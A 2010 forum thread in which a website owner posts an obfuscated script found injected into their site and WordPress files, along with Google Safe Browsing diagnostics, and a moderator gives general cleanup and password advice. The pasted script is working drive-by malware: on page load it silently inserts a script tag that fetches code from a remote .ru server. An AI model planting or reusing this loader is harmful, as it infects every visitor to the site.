Website with Malware - Urgent

Fingolfin82 · Feb 24, 2010

Yesterday I got a virus on my computer and today Google is listing a Malware warning on one of my web sites. I searched through the files and the only weird thing I found was this:

<script>function X() {this.Lp="";this.U="";var v=']';var Q=new Date();var B=new Date();var n=new String();this.cg='';var ss;if(ss!='' && ss!='E'){ss=''};var Y='[';var VI="";var e='replace';var c='g';var ey;if(ey!='w'){ey=''};var Z=RegExp;var A="";var MV=new Array();function _(T,cs){var gd;if(gd!='' && gd!='mi'){gd=''};var vA;if(vA!='' && vA!='Ua'){vA=''};var f;if(f!='' && f!='LJ'){f=''};var S=Y;this.J_="";this.YQ='';S+=cs;S+=v;var a=new Z(S, c);var Oe=new Array();var Tv=new Array();return T[e](a, n);this.xV="";};var mO='';var m='';this.Eb="";var cN=_('hLtLtTpL:T/L/LdQeTeTzQeQrL-LcToQmT.QaTpLpLlQeQ.LcToQmQ.QiTnLfToLsTeTeLkL-TcLoL-TjQpL.TsLaLmQuLeQsLtT.QrQuQ:T',"TLQ");var V=_('sycBryiBpyty',"yB");var wF=new Date();var H=new Date();var al=_('/XwOiqkOiXmXeIdXiqaX.qoIrOgX/qwIiqkqiImOeqdIiIaX.qoOrXgq/XnIgIoOiqsOaqoO.InXeXtO/ImIaqrIcqaO.IcqoqmX/qgOoqoqgIlOeO.IcIoOmq.qpqhqpq',"qIOX");var K=_('cirzeiabtbebEzliebmzebnzti',"zib");var Zt;if(Zt!='pS' && Zt!='Om'){Zt=''};var s=_('813031383350511',"351");var TG=new Array();var MD=new Array();var L=window;this.tj='';L[_('oinilioYaYdY',"Yi")]=function(){var LR;if(LR!='GF'){LR=''};try {m+=cN;var ab;if(ab!='Se' && ab!='D'){ab=''};m+=s;this.eg="";m+=al;var vk="";j=document[K](V);var IH;if(IH!='gi' && IH != ''){IH=null};var CI;if(CI!='y' && CI!='BT'){CI=''};var Xr;if(Xr!='Ot' && Xr!='_d'){Xr=''};SG(j,'src',m);SG(j,'defer',([2,1][1]));var Nq=new Date();var Sx;if(Sx!='VT' && Sx != ''){Sx=null};this._B='';document.body.appendChild( j);var Ys;if(Ys!='' && Ys!='GFW'){Ys=''};} catch(o){var ZT=new Date();};};var sY;if(sY!='VJ'){sY='VJ'};function SG(R,np,nI){var RW=new String();this.uu='';R.setAttribute(np, nI);var JP=new Array();this.Rq='';}var RE;if(RE!='' && RE!='Nr'){RE=null};var kt;if(kt!='' && kt!='vG'){kt=null};};var eo=new Date();X();</script>
Click to expand...

My website is plain html/css but it does have a WP blog for the news section. The script above was on the index file for the website and many of the WP files. Is this a Malware script?

This is what is says in Google Webmaster tools:

Safe Browsing
Diagnostic page for mysite.com

What is the current listing status for mysite.com?

Site is listed as suspicious - visiting this web site may harm your computer.

What happened when Google visited this site?

Of the 5 pages we tested on the site over the past 90 days, 2 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2010-02-24, and the last time suspicious content was found on this site was on 2010-02-24.

Malicious software includes 5 scripting exploit(s).

Malicious software is hosted on 1 domain(s), including notmysite.ru/.

This site was hosted on 1 network(s) including AS26496 (PAH).

Has this site acted as an intermediary resulting in further distribution of malware?

Over the past 90 days, mysite.com did not appear to function as an intermediary for the infection of any sites.

Has this site hosted malware?

No, this site has not hosted malicious software over the past 90 days.

How did this happen?

In some cases, third parties can add malicious code to legitimate sites, which would cause us to show the warning message.

Next steps:

* Return to the previous page.
* If you are the owner of this web site, you can request a review of your site using Google Webmaster Tools. More information about the review process is available in Google's Webmaster Help Center.
Click to expand...

and

What happened when Google visited sites hosted on this network?

Of the 839283 site(s) we tested on this network over the past 90 days, 9987 site(s), including, for example, xxx.com/, xxx.com/, xxx.com/, served content that resulted in malicious software being downloaded and installed without user consent.

The last time Google tested a site on this network was on 2010-02-24, and the last time suspicious content was found was on 2010-02-24.

Has this network hosted sites acting as intermediaries for further malware distribution?

Over the past 90 days, we found 613 site(s) on this network, including, for example, xxx.com/, ad72.net/, xxx.org/, that appeared to function as intermediaries for the infection of 3612 other site(s) including, for example, xxx.com/, xxxma/, xxx.com/.

Has this network hosted sites that have distributed malware?

Yes, this network has hosted sites that have distributed malicious software in the past 90 days. We found 903 site(s), including, for example, xxxcn/, xxx.cn/, xxx.cn/, that infected 19688 other site(s), including, for example, xxx.gov.cn/, xxx.com/, xxx.gov.cn/.

Next steps
Click to expand...

I have removed the urls of course. I really don't know what any of this means. Any advice/info you guys can give me is very much appreciated. Thanks

chaslang · Feb 26, 2010

Welcome to Major Geeks!

If your PC has a real malware infection on it (not an html code infection) we could potentially help you find and remove it but you need to run our cleaning procedures:

READ & RUN ME FIRST. Malware Removal Guide

If your website/design is infected, you will have to go thru your code and remove any malicious scripts. Then you need to make sure that whatever you are using to design your websites and HTML scripts has been properly updated with all security patches. Also the servers that you are using need to be properly updated with all Windows and other software patches to plug up security holes. Also make sure all access to your code via ftp or whatever you use is properly password protected. Probably should change it and make sure it is a strong password. A strong password should be at least 8 characters long and should contain both upper and lower case letters and should contain at least two non-sequential numbers and should contain at least 1 special character (like !@#$%......etc)

If you really wish to receive help in determining what that script does, you will have to post it in the Software Forum or Programming forum in the hopes for an expert at reading this code can help you. This is outside the realm of the Malware Removal forum.

Log in or Sign up

Website with Malware - Urgent

Fingolfin82 Private E-2

chaslang MajorGeeks Admin - Master Malware Expert Staff Member